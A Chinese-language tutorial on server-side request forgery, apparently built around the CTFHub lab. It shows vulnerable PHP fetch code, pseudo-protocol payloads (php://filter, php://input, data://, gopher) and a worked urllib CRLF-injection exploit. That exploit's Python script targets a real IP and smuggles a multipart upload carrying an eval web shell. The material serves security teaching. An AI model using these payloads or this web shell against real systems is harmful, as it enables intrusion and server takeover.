笔者将CTFHub的靶场技能树转化为相应知识点,逐个分析供大家学习参考。靶场题目难度比较基础,知识点涵盖较为全面,对小白十分友好。在这里笔者建议大家边学边练,逐个击破:CTFHub SSRF总结
SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起这一请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。
最常见的是当服务器需要外部资源时,比如 web 应用程序需要从 google 加载一张缩略图,此时的请求可能是这样的:
https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg
当从 google.com 获取 cutpugs.jpeg 时,web 应用程序必须访问 google.com 并从 google.com 中检索内容,如果服务器不区分内部资源和外部资源,攻击者就可以轻松地发起恶意请求,获得服务器的敏感文件:
https://public.example.com/upload_profile_from_url.php?url=localhost/敏感文件
以PHP为例,常见的缺陷代码如下:
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
在 php 中,某些函数的不当使用会导致 SSRF,如:file_get_contents、fsockopen、curl_exec
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = ".$filename."\"/>";
}
echo $img;
?>
function GetFile($host,$port,$link) {
// 定义一个请求文件的函数
$fp = fsockopen($host, intval($port), $errno, $errstr, 30); // intval()获取变量的整数值
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
// 发起HHTP请求
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();//初始化一个cURL会话为curlobj
curl_setopt($curlobj, CURLOPT_POST, 0); // 设置URL选项
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj); // 抓取URL并传递给浏览器
curl_close($curlobj); // 关闭cURL资源,释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
#coding: utf-8
import urllib
url = 'http://127.0.0.1'
info = urllib.urlopen(url)
print(info.read().decode('utf-8'))
能够对外发起网络请求的地方,就可能存在 SSRF 漏洞,例如:
社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过 url 地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:翻译指定网址对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过 url 地址加载或下载图片
图片/文章收藏功能:获取 url 地址中的 title 以及文本内容作为显示以求好的用户体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
网站采集,网站抓取的地方:一些网站会针对你输入的 url 进行一些信息采集工作
数据库内置功能:数据库的比如 mongodb 的 copyDatabase 函数
邮件系统:比如接收邮件服务器地址
编码处理, 属性信息处理,文件处理:比如 ffpmg,ImageMagick,docx,pdf,xml 处理器等
未公开的 api 实现以及其他扩展调用 url 的功能:可以利用 google 语法加上这些关键字去寻找SSRF漏洞:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain ……
从远程服务器请求资源(upload from url 如 discuz!;import & expost rss feed 如 web blog;使用了 xml 引擎对象的地方,如 wordpress xmlrpc.php)
在原文基础上整合修改:
SSRF安全指北 、初识HTTP响应拆分攻击(CRLF Injection)
上面介绍到了 curl_exec 函数,curl_exec 函数是 PHP cURL 函数列表中的一种,它的功能是执行一个 cURL 会话。cURL 支持 http、https、ftp、gopher、telnet、dict、file、ldap 等协议。
file://:访问本地系统,读取本地文件。
条件:allow_url_fopen:off/on,allow_url_include:off/on
php://filter:读取文件源码(针对php文件需要base64编码)。
条件:allow_url_fopen:off/on,allow_url_include:off/on
用法:php://filter/read=convert.base64-encode/resource=[文件名]
示例:http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input:执行php代码。
条件:allow_url_fopen:on,allow_url_include:on
用法:php://input + [POST DATA]
示例:
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
data://:自 PHP>=5.2.0 起,可以使用 data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行 php 代码。
条件:allow_url_fopen:on,allow_url_include:on
用法:
data://text/plain,
data://text/plain;base64,
示例:
http://127.0.0.1/include.php?file=data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
dict://:探测端口的开放情况和指纹信息。
使用方法:dict://serverip:port/命令:参数
gopher://:攻击内网的 FTP、Telnet、Redis、Memcache等服务,也可以进行 GET、POST 请求。
基本格式:?url=gopher://
在Python中,常用的函数有 urllib(urllib2) 和 requests 库。以 urllib(urllib2) 为例,urllib 并不支持 gopher,dict 协议,所以按照常理来讲 SSRF 在 Python 中的危害应该并不大。但是当 SSRF 遇到 CRLF,奇妙的事情就发生了。
urllib 曾爆出 CVE-2019-9740、CVE-2019-9947 两个漏洞,这两个漏洞都是 urllib(urllib2) 的 CRLF 漏洞,只是触发点不一样。其影响范围都在 urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3 之间。目前大部分服务器的 Python2 版本都在2.7.10 以下,Python3 都为 3.6.x,这两个 CRLF 漏洞的影响力就非常可观了。其实之前还有一个 CVE-2016-5699,同样是 urllib(urllib2)的 CRLF 问题,但是由于时间比较早,影响范围没有这两个大,这里也不再赘叙。
测试代码如下:
#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error
# url = "http://47.101.57.72:4000
url = "http://47.101.57.72:4000?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
执行代码后,在VPS上会监听到如下HTTP头:
如上图所示,成功引发了CRLF漏洞。
这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:
GET /?a=1 HTTP/1.1%0d%0aCRLF-injection: True%0d%0aSet-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close
此时,HTTP 状态行中出现了%0d%0a,便会被解析为 HTTP 首部字段的结束并成功插入我们定制的 HTTP 首部字段。最终 HTTP 请求变成了下面这样:
GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close
首先,由于 Python Urllib 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1
和 Host 字段影响我们新构造的请求,我们还需要再构造一次 GET /
闭合原来的 HTTP 请求。
假设目标主机存在SSRF,需要我们在目标主机本地上传文件。下面尝试构造如下这个文件上传的完整 POST 请求:
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
编写脚本构造payload:
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 435
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test:'''.replace("\n","\\r\\n")
print(payload)
# 输出: HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:
然后构造请求:
#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error
# url = "http://47.101.57.72:4000
url = 'http://47.101.57.72:4000?a=1 HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:'
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。下面我们分析一下整个攻击的过程。
原始请求数据如下:
GET / HTTP/1.1
Host: 47.101.57.72:4000
当我们插入CRLF数据后,HTTP请求数据变成了:
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
HTTP/1.1
Host: 47.101.57.72:4000
上次请求包的Host字段和状态行中的 HTTP/1.1
就单独出来了,所以我们再构造一个请求把他闭合:
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000
相较于 php,在 java 中 SSRF 的利用局限性较大,一般利用 http 协议探测端口,file 协议读取任意文件。常见的类中如 HttpURLConnection,URLConnection,HttpClients 中只支持 sun.net.www.protocol (java 1.8) 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。
但这里需要注意一个漏洞,那就是 weblogic 的 SSRF,这个 SSRF 是可以攻击可利用的 redis 拿 shell 的。在开始看到这个漏洞的时候,笔者感到很奇怪,因为一般 java 中的 SSRF 是无法攻击 redis 的,但是网上并没有找到太多的分析文章,所以特地看了下 weblogic 的实现代码。
SSRF的攻防过程也是人们对SSRF漏洞认知不断提升的一个过程,从开始各大厂商不认可SSRF漏洞->攻击者通过SSRF拿到服务器的权限->厂商开始重视这个问题,开始使用各种方法防御->被攻击者绕过->更新防御手段,在这个过程中,攻击者和防御者的手段呈螺旋式上升的趋势,也涌现了大量绕过方案。
常见的修复方案如下:
用伪代码来表示的话就是:
if check_ssrf(url):
do_curl(url)
else:
print(“error”)
PHP伪协议总结 - SegmentFault 思否
我在CTFHub学习SSRF - FreeBuf网络安全行业门户
SSRF学习之ctfhub靶场-基础部分 - soapffz’s blog
一篇文章深入学习SSRF漏洞 - 云+社区 - 腾讯云 (tencent.com)
浅谈SSRF(服务器请求伪造) - 云+社区 - 腾讯云 (tencent.com)
漏洞笔记 | 浅谈SSRF原理及其利用 - 云+社区 - 腾讯云 (tencent.com)
WEB安全]SSRF中URL的伪协议 - 肖洋肖恩、 - 博客园 (cnblogs.com)
SSRF漏洞中使用到的其他协议(附视频+Py) - 知乎 (zhihu.com)
SSRF利用 Gopher 协议拓展攻击面_BerL1n的博客-CSDN博客